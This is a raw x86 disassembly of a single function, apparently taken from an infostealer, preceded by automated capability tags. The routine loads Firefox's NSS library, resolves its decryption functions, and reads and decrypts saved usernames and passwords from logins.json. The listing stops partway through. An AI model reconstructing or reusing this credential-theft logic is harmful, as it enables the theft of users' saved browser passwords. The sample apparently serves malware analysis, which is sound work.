Function at 0x1008ba20
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x24], 0
lea eax, [ebp + 8]
mov dword [ebp - 0x144], ebx
push eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call fcn.100b2700
cmp dword [ebp - 0xf4], 0x10
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.nss3.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [ebp - 0xf4]
mov edi, eax
cmp edx, 0x10
jb 0x1008bac1
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bab7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
test edi, edi
jne 0x1008bc05
push edi
push 0x100f1e88
mov ecx, ebx
mov dword [ebx + 0x10], edi
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
call fcn.100b2e90
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x1008bb32
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bb28
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceea
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008bb66
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bb5c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceea
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x1008bbac
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bba2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceea
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x1008bbf2
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bbe8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceea
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100be769
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push edi
call esi
push str.PL_Base64Decode
push edi
mov dword [0x101039dc], eax
call esi
push str.PK11SDR_Decrypt
push edi
mov dword [0x10103a04], eax
call esi
push str.PK11_Authenticate
push edi
mov dword [0x101039f4], eax
call esi
push str.PK11_GetInternalKeySlot
push edi
mov dword [0x101039d8], eax
call esi
push str.PK11_FreeSlot
push edi
mov dword [0x10103990], eax
call esi
push str.NSS_Shutdown
push edi
mov dword [0x101039ec], eax
call esi
mov dword [0x101039b8], eax
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp + 0x30]
add eax, 0xc
mov dword [ebp - 0xc], 0
push eax
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
call fcn.100b5850
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
mov esi, dword [ebp - 8]
mov eax, esi
cmovae ecx, dword [ebp + 0x20]
mov edi, dword [ebp + 0x30]
mov edx, dword [ebp - 0xc]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008bcc7
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
lea esi, [eax + edx]
push esi
call fcn.100c21a0
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x1008bcdd
mov byte [ebp - 0x10c], 0
lea ecx, [ebp - 0x1c]
push dword [ebp - 0x10c]
push edi
call fcn.100b4330
push str.logins.json
lea ecx, [ebp - 0x1c]
call fcn.100b2580
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x100fb3cc
cmovae eax, dword [ebp - 0x1c]
push eax
call fcn.100c885d
add esp, 8
test eax, eax
je 0x1008bd14
push eax
call fcn.100c88eb
add esp, 4
mov bl, 1
jmp 0x1008bd16
xor bl, bl
mov edx, dword [ebp - 8]
cmp edx, 0x10
jb 0x1008bd4a
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bd40
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008cef4
push edx
push ecx
call fcn.100becc4
add esp, 8
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
test bl, bl
je 0x1008ce07
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [0x101039dc]
sub esp, 0x14
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.100b2700
call fcn.1008b050
mov edx, eax
mov dword [ebp - 0x3c], 0
mov ecx, edx
mov dword [ebp - 0x38], 0xf
add esp, 0x18
mov byte [ebp - 0x4c], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008bda5
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x4c]
call fcn.100b2e90
cmp dword [ebp - 0x3c], 0
jbe 0x1008cdd3
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
push str._hostname_:_______
lea ecx, [ebp - 0xf0]
movups xmmword [ebp - 0xf0], xmm0
call fcn.100b19f0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xcc], 0
push str._encryptedUsername_:_______
lea ecx, [ebp - 0xdc]
movups xmmword [ebp - 0xdc], xmm0
call fcn.100b19f0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xb8], 0
push str._encryptedPassword_:_______
lea ecx, [ebp - 0xc8]
movups xmmword [ebp - 0xc8], xmm0
call fcn.100b19f0
push 0x38
lea eax, [ebp - 0xb4]
push 0
push eax
call fcn.100c1600
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
mov ebx, 0xf
add esp, 0xc
mov dword [ebp - 0xc], 0
cmp eax, 0x10
mov dword [ebp - 8], 0xf
mov edi, ebx
mov byte [ebp - 0x1c], 0
cmovae esi, edx
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], edi
mov byte [ebp - 0x64], 0
nop dword [eax + eax]
cmp eax, 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmovae ecx, edx
lea edx, [ebp - 0xf0]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xb4]
push eax
push esi
call fcn.100b8570
add esp, 0x10
test al, al
je 0x1008cc55
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0xac]
sub ecx, edi
imul ecx
lea ecx, [ebp - 0x88]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x1008beea
lea ecx, [edi + 0xc]
cmp byte [ecx + 8], 0
je 0x1008bef9
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008beff
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0xf8], 0
mov edi, 0xf
mov dword [ebp - 0xf4], edi
mov byte [ebp - 0x108], 0
cmp edx, ecx
je 0x1008bf34
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.100b2e90
mov edi, dword [ebp - 0xf4]
cmp edi, 0x10
lea ecx, [ebp - 0x108]
cmovae ecx, dword [ebp - 0x108]
call fcn.1008b970
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008bf50
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x1c]
call fcn.100b2e90
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x1008bf9d
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bf93
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xdc]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xb4]
push eax
push esi
call fcn.100b8570
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0xac]
sub esp, 8
sub ecx, ebx
mov edi, esp
imul ecx
lea ecx, [ebp - 0x88]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x1008bff3
lea ecx, [ebx + 0xc]
cmp byte [ecx + 8], 0
je 0x1008c002
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008c008
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x1008c028
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100b2e90
call fcn.1008b810
add esp, 0x18
mov ecx, eax
call fcn.1008b970
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008c040
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x7c]
call fcn.100b2e90
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xc8]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xb4]
push eax
push esi
call fcn.100b8570
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0xac]
sub esp, 8
sub ecx, ebx
mov edi, esp
imul ecx
lea ecx, [ebp - 0x88]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x1008c0a9
lea ecx, [ebx + 0xc]
cmp byte [ecx + 8], 0
je 0x1008c0b8
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008c0be
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x1008c0de
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100b2e90
call fcn.1008b810
add esp, 0x18
mov ecx, eax
call fcn.1008b970
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008c0f4
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x64]
call fcn.100b2e90
sub esp, 0x18
lea eax, [ebp - 0x7c]
mov ecx, esp
push eax
call fcn.100b2700
lea ecx, [ebp - 0x164]
call fcn.10084220
add esp, 0x18
mov ecx, eax
cmp dword [eax + 0x14], 0x10
jb 0x1008c12d
mov ecx, dword [eax]
cmp dword [eax + 0x10], 0x20
jne 0x1008c155
mov edx, str.397a1dad0e0212119274178e7e4cc080
mov edi, 0x1c
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1008c155
add ecx, 4
add edx, 4
sub edi, 4
jae 0x1008c140
mov bl, 1
jmp 0x1008c157
xor bl, bl
mov edx, dword [ebp - 0x150]
cmp edx, 0x10
jb 0x1008c191
mov ecx, dword [ebp - 0x164]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c187
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
test bl, bl
je 0x1008c1b3
push 1
push 0x100f5bc8
lea ecx, [ebp - 0x7c]
call fcn.100b2e90
push 1
push 0x100f5bc8
lea ecx, [ebp - 0x64]
call fcn.100b2e90
mov ecx, 9
mov dword [ebp - 0x114], 0
cmp dword [ebp - 0xc], ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x110], 0xf
cmovb ecx, dword [ebp - 0xc]
cmp dword [ebp - 8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x124]
push eax
mov byte [ebp - 0x124], 0
call fcn.100b2e90
mov edx, str.chrome:__
lea ecx, [ebp - 0x124]
call fcn.100b32b0
mov edx, dword [ebp - 0x110]
mov bl, al
cmp edx, 0x10
jb 0x1008c23e
mov ecx, dword [ebp - 0x124]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c234
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008cef9
push edx
push ecx
call fcn.100becc4
add esp, 8
test bl, bl
jne 0x1008cbf3
mov edi, dword [ebp + 0x4c]
lea eax, [ebp + 0x38]
cmp edi, 0x10
cmovae eax, dword [ebp + 0x38]
cmp dword [ebp + 0x48], 1
jne 0x1008c7e3
cmp byte [eax], 0x30
jne 0x1008c7e3
mov ebx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
test ebx, ebx
je 0x1008c7ec
test ecx, ecx
je 0x1008c7ec
test eax, eax
je 0x1008c7ec
lea eax, [ebx + 1]
mov dword [ebp - 0xf8], 0
push eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
call fcn.100b5850
push 0x100fb428
lea ecx, [ebp - 0x108]
call fcn.100b2580
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008c30d
lea eax, [edx + ebx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c21a0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008c326
mov byte [ebp - 0x10c], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x10c]
push ebx
call fcn.100b4330
push 0x100fb424
lea ecx, [ebp - 0x108]
call fcn.100b2580
lea edx, [ebp - 0x17c]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x16c], xmm0
cmp dword [ebp - 0x168], 0x10
mov ecx, dword [ebp - 0x16c]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x17c], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x1008c3ae
cmp dword [ebp - 0x20], 0x10
lea eax, [edi + ecx]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c21a0
mov eax, dword [ebp - 0x16c]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x1008c3ca
mov byte [ebp - 0x128], 0
push dword [ebp - 0x128]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4330
mov ebx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x168]
cmp eax, 0x10
jb 0x1008c400
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x1008c3f6
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push ecx
push ebx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x1008c43a
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c430
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ebx, dword [ebp - 0x6c]
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
lea eax, [ebx + 1]
push eax
call fcn.100b5850
push 0x100fb428
lea ecx, [ebp - 0x108]
call fcn.100b2580
cmp dword [ebp - 0x68], 0x10
lea ecx, [ebp - 0x7c]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008c4c3
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c21a0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008c4dc
mov byte [ebp - 0x12c], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x12c]
push ebx
call fcn.100b4330
push 0x100fb424
lea ecx, [ebp - 0x108]
call fcn.100b2580
lea edx, [ebp - 0x194]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x184], xmm0
cmp dword [ebp - 0x180], 0x10
mov ecx, dword [ebp - 0x184]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x194], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x1008c564
cmp dword [ebp - 0x20], 0x10
lea eax, [ecx + edi]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c21a0
mov eax, dword [ebp - 0x184]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x1008c580
mov byte [ebp - 0x130], 0
push dword [ebp - 0x130]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4330
mov ebx, dword [ebp - 0x194]
mov eax, dword [ebp - 0x180]
cmp eax, 0x10
jb 0x1008c5b6
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x1008c5ac
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push ecx
push ebx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x1008c5f0
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c5e6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ebx, dword [ebp - 0x54]
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
lea eax, [ebx + 1]
push eax
call fcn.100b5850
push 0x100fb428
lea ecx, [ebp - 0x108]
call fcn.100b2580
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x64]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008c679
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c21a0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008c692
mov byte [ebp - 0x134], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x134]
push ebx
call fcn.100b4330
push 0x100fb424
lea ecx, [ebp - 0x108]
call fcn.100b2580
lea edx, [ebp - 0x1ac]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x19c], xmm0
cmp dword [ebp - 0x198], 0x10
mov ecx, dword [ebp - 0x19c]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x1ac], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x1008c71a
cmp dword [ebp - 0x20], 0x10
lea eax, [ecx + edi]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c21a0
mov eax, dword [ebp - 0x19c]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x1008c736
mov byte [ebp - 0x138], 0
push dword [ebp - 0x138]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4330
mov ebx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x198]
cmp eax, 0x10
jb 0x1008c76c
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x1008c762
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push ecx
push ebx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x1008c7a6
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c79c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
push 0x100f2ca4
lea ecx, [ebp - 0x34]
call fcn.100b2580
push 0
push 0x100f1e88
lea ecx, [ebp - 0x1c]
call fcn.100b2e90
push 0
push 0x100f1e88
lea ecx, [ebp - 0x7c]
call fcn.100b2e90
push 0
push 0x100f1e88
lea ecx, [ebp - 0x64]
call fcn.100b2e90
mov edi, dword [ebp + 0x4c]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
mov ebx, dword [ebp - 0xc]
cmp edi, 0x10
lea edx, [ebp + 0x38]
cmovae edx, dword [ebp + 0x38]
cmp dword [ebp + 0x48], 1
jne 0x1008cbed
cmp byte [edx], 0x31
jne 0x1008cbed
test ebx, ebx
je 0x1008cbed
test ecx, ecx
je 0x1008cbed
test eax, eax
je 0x1008cbed
lea eax, [ebx + 0xc]
mov dword [ebp - 0xf8], 0
push eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
call fcn.100b5850
push str.webFirefox
lea ecx, [ebp - 0x108]
call fcn.100b2580
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008c8a7
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c21a0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008c8c0
mov byte [ebp - 0x13c], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x13c]
push ebx
call fcn.100b4330
push 0x100fb430
lea ecx, [ebp - 0x108]
call fcn.100b2580
lea edx, [ebp - 0x124]
lea ecx, [ebp - 0x164]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x124], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x114], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x7c]
push eax
call fcn.100b3430
add esp, 4
mov ecx, eax
push 0x100fb430
call fcn.100b2580
lea edx, [ebp - 0x1dc]
lea ecx, [ebp - 0x1f4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1dc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x64]
push eax
call fcn.100b3430
add esp, 4
mov ecx, eax
push 0x100fb42c
call fcn.100b2580
lea edx, [ebp - 0x1c4]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b4], xmm0
cmp dword [ebp - 0x1b0], 0x10
mov ecx, dword [ebp - 0x1b4]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x1c4], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x1008c9e0
cmp dword [ebp - 0x20], 0x10
lea eax, [edi + ecx]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c21a0
mov eax, dword [ebp - 0x1b4]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x1008c9fc
mov byte [ebp - 0x140], 0
push dword [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4330
mov ebx, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x1b0]
cmp eax, 0x10
jb 0x1008ca32
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x1008ca28
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push ecx
push ebx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1e0]
cmp edx, 0x10
jb 0x1008ca6c
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ca62
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x1008cac1
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008cab7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x1008cb16
mov ecx, dword [ebp - 0x164]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008cb0c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x110]
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0xf
mov byte [ebp - 0x164], 0
cmp edx, 0x10
jb 0x1008cb6b
mov ecx, dword [ebp - 0x124]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008cb61
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008ceef
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0xf4]
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0xf
mov byte [ebp - 0x124], 0
cmp edx, 0x10
jb 0x1008cbc0
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008cbb6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
